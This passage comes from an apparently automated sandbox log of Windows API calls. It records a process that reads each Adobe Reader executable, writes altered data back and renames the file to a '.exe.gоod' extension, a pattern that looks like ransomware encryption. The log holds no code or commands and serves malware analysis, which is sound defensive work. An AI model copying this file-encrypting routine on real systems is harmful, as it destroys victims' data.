lpOverlapped=0x0 | out: lpBuffer=0x3315400*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0073.500] CloseHandle (hObject=0x764) returned 1 [0073.502] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", lpFilePart=0x0) returned 0x4b [0073.502] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.502] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.502] GetFileType (hFile=0x764) returned 0x1 [0073.502] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.502] GetFileType (hFile=0x764) returned 0x1 [0073.502] ReadFile (in: hFile=0x764, lpBuffer=0x3317708, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x3317708*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0073.786] CloseHandle (hObject=0x764) returned 1 [0073.786] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", lpFilePart=0x0) returned 0x4b [0073.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.786] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.786] GetFileType (hFile=0x764) returned 0x1 [0073.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.786] GetFileType (hFile=0x764) returned 0x1 [0073.786] WriteFile (in: hFile=0x764, lpBuffer=0x3316448*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x3316448*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0073.787] CloseHandle (hObject=0x764) returned 1 [0073.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe", lpFilePart=0x0) returned 0x4b [0073.788] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe.gоod", lpFilePart=0x0) returned 0x50 [0073.788] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0073.789] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xdf6d2df0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x28316187, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb000)) returned 1 [0073.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0073.789] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AcroTextExtractor.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\acrotextextractor.exe.gоod")) returned 1 [0073.789] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", lpFilePart=0x0) returned 0x41 [0073.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0073.789] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe"), fInfoLevelId=0x0, lpFileInformation=0x3539538 | out: lpFileInformation=0x3539538*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0x21df0)) returned 1 [0073.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0073.790] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", lpFilePart=0x0) returned 0x41 [0073.790] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.790] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.790] GetFileType (hFile=0x764) returned 0x1 [0073.790] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.790] GetFileType (hFile=0x764) returned 0x1 [0073.790] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0073.790] ReadFile (in: hFile=0x764, lpBuffer=0x3539930, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x3539930*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0073.791] CloseHandle (hObject=0x764) returned 1 [0073.792] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", lpFilePart=0x0) returned 0x41 [0073.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.792] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.792] GetFileType (hFile=0x764) returned 0x1 [0073.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.792] GetFileType (hFile=0x764) returned 0x1 [0073.792] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x21df0 [0073.792] WriteFile (in: hFile=0x764, lpBuffer=0x353abb8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x353abb8*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0073.793] CloseHandle (hObject=0x764) returned 1 [0073.797] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", lpFilePart=0x0) returned 0x41 [0073.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0073.797] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0073.797] GetFileType (hFile=0x764) returned 0x1 [0073.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0073.797] GetFileType (hFile=0x764) returned 0x1 [0073.797] ReadFile (in: hFile=0x764, lpBuffer=0x353ce68, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x353ce68*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0074.305] CloseHandle (hObject=0x764) returned 1 [0074.306] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", lpFilePart=0x0) returned 0x41 [0074.306] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0074.306] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0074.306] GetFileType (hFile=0x764) returned 0x1 [0074.306] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0074.306] GetFileType (hFile=0x764) returned 0x1 [0074.306] WriteFile (in: hFile=0x764, lpBuffer=0x353bbd0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x353bbd0*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0074.306] CloseHandle (hObject=0x764) returned 1 [0074.310] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe", lpFilePart=0x0) returned 0x41 [0074.310] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe.gоod", lpFilePart=0x0) returned 0x46 [0074.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0074.310] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2d82cf7, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x2882871f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x21e00)) returned 1 [0074.310] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0074.310] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\ADelRCP.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adelrcp.exe.gоod")) returned 1 [0074.311] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", lpFilePart=0x0) returned 0x49 [0074.311] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0074.311] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe"), fInfoLevelId=0x0, lpFileInformation=0x36b5db8 | out: lpFileInformation=0x36b5db8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x3b985900, ftLastWriteTime.dwHighDateTime=0x1d367c3, nFileSizeHigh=0x0, nFileSizeLow=0xd87f0)) returned 1 [0074.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0074.312] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", lpFilePart=0x0) returned 0x49 [0074.312] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0074.312] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0074.312] GetFileType (hFile=0x764) returned 0x1 [0074.312] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0074.312] GetFileType (hFile=0x764) returned 0x1 [0074.312] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0074.313] ReadFile (in: hFile=0x764, lpBuffer=0x36b61f0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x36b61f0*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0074.314] CloseHandle (hObject=0x764) returned 1 [0074.314] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", lpFilePart=0x0) returned 0x49 [0074.314] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0074.314] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0074.315] GetFileType (hFile=0x764) returned 0x1 [0074.315] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0074.315] GetFileType (hFile=0x764) returned 0x1 [0074.315] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0xd87f0 [0074.315] WriteFile (in: hFile=0x764, lpBuffer=0x36b74d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x36b74d8*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0074.316] CloseHandle (hObject=0x764) returned 1 [0074.339] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", lpFilePart=0x0) returned 0x49 [0074.340] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0074.340] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0074.340] GetFileType (hFile=0x764) returned 0x1 [0074.340] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0074.340] GetFileType (hFile=0x764) returned 0x1 [0074.340] ReadFile (in: hFile=0x764, lpBuffer=0x36b9810, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35c9c8, lpOverlapped=0x0 | out: lpBuffer=0x36b9810*, lpNumberOfBytesRead=0x1f35c9c8*=0x1000, lpOverlapped=0x0) returned 1 [0075.236] CloseHandle (hObject=0x764) returned 1 [0075.236] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", lpFilePart=0x0) returned 0x49 [0075.236] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.236] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.237] GetFileType (hFile=0x764) returned 0x1 [0075.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.237] GetFileType (hFile=0x764) returned 0x1 [0075.237] WriteFile (in: hFile=0x764, lpBuffer=0x31af7a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f35ca78, lpOverlapped=0x0 | out: lpBuffer=0x31af7a8*, lpNumberOfBytesWritten=0x1f35ca78*=0x1010, lpOverlapped=0x0) returned 1 [0075.237] CloseHandle (hObject=0x764) returned 1 [0075.253] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe", lpFilePart=0x0) returned 0x49 [0075.253] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe.gоod", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe.gоod", lpFilePart=0x0) returned 0x4e [0075.253] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9b0) returned 1 [0075.253] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe"), fInfoLevelId=0x0, lpFileInformation=0x1f35ca90 | out: lpFileInformation=0x1f35ca90*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b985900, ftCreationTime.dwHighDateTime=0x1d367c3, ftLastAccessTime.dwLowDateTime=0xe2a15668, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x291176e2, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd8800)) returned 1 [0075.253] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c970) returned 1 [0075.253] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\AdobeCollabSync.exe.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\adobecollabsync.exe.gоod")) returned 1 [0075.254] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", nBufferLength=0x105, lpBuffer=0x1f35c520, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", lpFilePart=0x0) returned 0x3d [0075.254] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c9f0) returned 1 [0075.254] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe"), fInfoLevelId=0x0, lpFileInformation=0x32b4338 | out: lpFileInformation=0x32b4338*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3d58500, ftCreationTime.dwHighDateTime=0x1d06041, ftLastAccessTime.dwLowDateTime=0x37a46528, ftLastAccessTime.dwHighDateTime=0x1d327c9, ftLastWriteTime.dwLowDateTime=0xb3d58500, ftLastWriteTime.dwHighDateTime=0x1d06041, nFileSizeHigh=0x0, nFileSizeLow=0x152a0)) returned 1 [0075.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c9b0) returned 1 [0075.256] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", lpFilePart=0x0) returned 0x3d [0075.256] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.256] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.256] GetFileType (hFile=0x764) returned 0x1 [0075.256] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.257] GetFileType (hFile=0x764) returned 0x1 [0075.257] SetFilePointer (in: hFile=0x764, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x1000 [0075.257] ReadFile (in: hFile=0x764, lpBuffer=0x32b4710, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f35ca18, lpOverlapped=0x0 | out: lpBuffer=0x32b4710*, lpNumberOfBytesRead=0x1f35ca18*=0x1000, lpOverlapped=0x0) returned 1 [0075.259] CloseHandle (hObject=0x764) returned 1 [0075.259] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", lpFilePart=0x0) returned 0x3d [0075.259] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.259] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\arh.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x764 [0075.259] GetFileType (hFile=0x764) returned 0x1 [0075.260] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f35c860) returned 1 [0075.260] GetFileType (hFile=0x764) returned 0x1 [0075.260] SetFilePointer (in: hFile=0x764, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f35ca48*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f35ca48*=0) returned 0x152a0 [0075.260] WriteFile (in: hFile=0x764, lpBuffer=0x32c2b88*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f35c938, lpOverlapped=0x0 | out: lpBuffer=0x32c2b88*, lpNumberOfBytesWritten=0x1f35c938*=0x10, lpOverlapped=0x0) returned 1 [0075.261] CloseHandle (hObject=0x764) returned 1 [0075.264] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", nBufferLength=0x105, lpBuffer=0x1f35c3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\arh.exe", lpFilePart=0x0) returned 0x3d [0075.264] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f35c8f0) returned 1 [0075.264] CreateFileW (lpFileName="C:\\Program Files 